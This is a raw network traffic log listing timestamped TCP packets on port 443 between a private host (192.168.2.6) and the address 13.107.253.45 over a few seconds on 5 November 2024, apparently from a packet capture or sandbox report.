Nov 5, 2024 20:51:47.152942896 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.153173923 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.153173923 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.153362989 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.153362989 CET	49947	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.153379917 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.153388023 CET	443	49947	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.156157970 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.156198978 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.156517982 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.156737089 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.156749010 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.227369070 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.227444887 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.227555990 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.227686882 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.227708101 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.227731943 CET	49948	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.227736950 CET	443	49948	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.230758905 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.230854034 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.231178999 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.231178999 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.231240988 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.231261969 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.231580973 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.231633902 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.231717110 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.231717110 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.231771946 CET	49949	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.231786966 CET	443	49949	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.234736919 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.234778881 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.238888025 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.238888025 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.238922119 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.271420956 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.271837950 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.271861076 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.274741888 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.274768114 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.418142080 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.418287992 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.418467045 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.418570995 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.418570995 CET	49950	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.418590069 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.418598890 CET	443	49950	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.421057940 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.421096087 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.421283007 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.421361923 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.421367884 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.790929079 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.803703070 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.803728104 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.804445982 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.804451942 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.905122995 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.919917107 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.919945002 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.926772118 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.926778078 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.944142103 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.944200039 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.944248915 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.947072029 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.947094917 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.947108030 CET	49951	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:47.947113991 CET	443	49951	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.993648052 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:47.997637987 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.004348040 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.004359961 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.006448984 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.006470919 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.006602049 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.006607056 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.006911039 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.006916046 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.008673906 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.008708000 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.008760929 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.008865118 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.008872986 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.061909914 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.061974049 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.062017918 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.097568989 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.097598076 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.097615004 CET	49952	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.097620964 CET	443	49952	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.145908117 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.145977020 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.146027088 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.146378994 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.146420002 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.146460056 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.146471977 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.146505117 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.193075895 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.193099976 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.193121910 CET	49954	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.193128109 CET	443	49954	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.194849014 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.194849014 CET	49953	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.194865942 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.194879055 CET	443	49953	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.200467110 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.202306032 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.202316999 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.203433990 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.203438044 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.207433939 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.207467079 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.207530022 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.210325003 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.210336924 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.220870972 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.220899105 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.220967054 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.222896099 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.222903967 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.222956896 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.223702908 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.223711014 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.224014044 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.224020958 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.348072052 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.348108053 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.348155022 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.348160982 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.348193884 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.348474979 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.348490000 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.348498106 CET	49955	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.348503113 CET	443	49955	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.358156919 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.358191967 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.358252048 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.358391047 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.358400106 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.771941900 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.772505045 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.772526979 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.773011923 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.773016930 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.977114916 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.977579117 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.977602005 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.977987051 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.977992058 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.979629993 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.979933977 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.979934931 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.979947090 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.980182886 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.980187893 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.980335951 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.980340004 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:48.980669022 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:48.980673075 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.057164907 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.057228088 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.057279110 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.057531118 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.057543039 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.057553053 CET	49956	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.057558060 CET	443	49956	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.060211897 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.060237885 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.060475111 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.060633898 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.060642004 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115299940 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115303993 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115365982 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115407944 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.115416050 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115456104 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.115741968 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.115751028 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115761995 CET	49957	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.115766048 CET	443	49957	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115778923 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.115789890 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.115890980 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.116046906 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.116082907 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.116290092 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.116295099 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.116385937 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.116400957 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.116414070 CET	49958	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.116416931 CET	443	49958	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.117903948 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.118076086 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.118128061 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.118635893 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.118642092 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.118653059 CET	49959	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.118655920 CET	443	49959	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.119088888 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.119117022 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.119303942 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.119421959 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.119434118 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.119484901 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.119497061 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.119679928 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.119895935 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.119906902 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.120706081 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.120738983 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.120810986 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.120933056 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.120944023 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.259308100 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.259377003 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.259557009 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.259589911 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.259589911 CET	49960	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.259608030 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.259615898 CET	443	49960	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.262264967 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.262294054 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.262352943 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.262478113 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.262490034 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.822804928 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.823267937 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.823306084 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.826750994 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.826767921 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.874444008 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.875411034 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.875411034 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.875446081 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.875461102 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.886795044 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.891057014 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.891084909 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.891418934 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.891426086 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.898396969 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.898699999 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.898726940 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.902750015 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.902755022 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.960815907 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.961235046 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.961280107 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.961302042 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.961332083 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.961373091 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.961373091 CET	49961	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.961390018 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.961397886 CET	443	49961	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.964132071 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.964169979 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:49.966864109 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.967077971 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:49.967093945 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.013680935 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.013773918 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.013863087 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.014044046 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.014044046 CET	49963	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.014061928 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.014070034 CET	443	49963	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.019248962 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.019292116 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.019503117 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.019714117 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.019721985 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.031728983 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.031785011 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.031862974 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.032026052 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.032040119 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.032061100 CET	49964	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.032066107 CET	443	49964	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.033804893 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.034615993 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.034638882 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.034709930 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.035129070 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.035145998 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.035617113 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.035617113 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.035621881 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.035628080 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.068526030 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.068598032 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.068707943 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.068839073 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.068861961 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.068897009 CET	49962	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.068903923 CET	443	49962	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.071253061 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.071276903 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.071679115 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.071679115 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.071702003 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.171503067 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.171576023 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.171796083 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.171796083 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.171838999 CET	49965	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.171854973 CET	443	49965	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.174128056 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.174165964 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.174323082 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.174374104 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.174382925 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.724806070 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.780937910 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.790663004 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.823826075 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.823838949 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.824352980 CET	49966	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.824358940 CET	443	49966	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.824881077 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.824906111 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.825506926 CET	49968	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.825510979 CET	443	49968	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.826586962 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.826961994 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.826983929 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.827377081 CET	49967	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.827382088 CET	443	49967	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.837762117 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.838670015 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.838680983 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.839298964 CET	49969	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.839303970 CET	443	49969	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.936474085 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.938297033 CET	49970	443	192.168.2.6	13.107.253.45
Nov 5, 2024 20:51:50.938313961 CET	443	49970	13.107.253.45	192.168.2.6
Nov 5, 2024 20:51:50.938980103 CET	49970	443	192.168.2.6	13.107.253.45
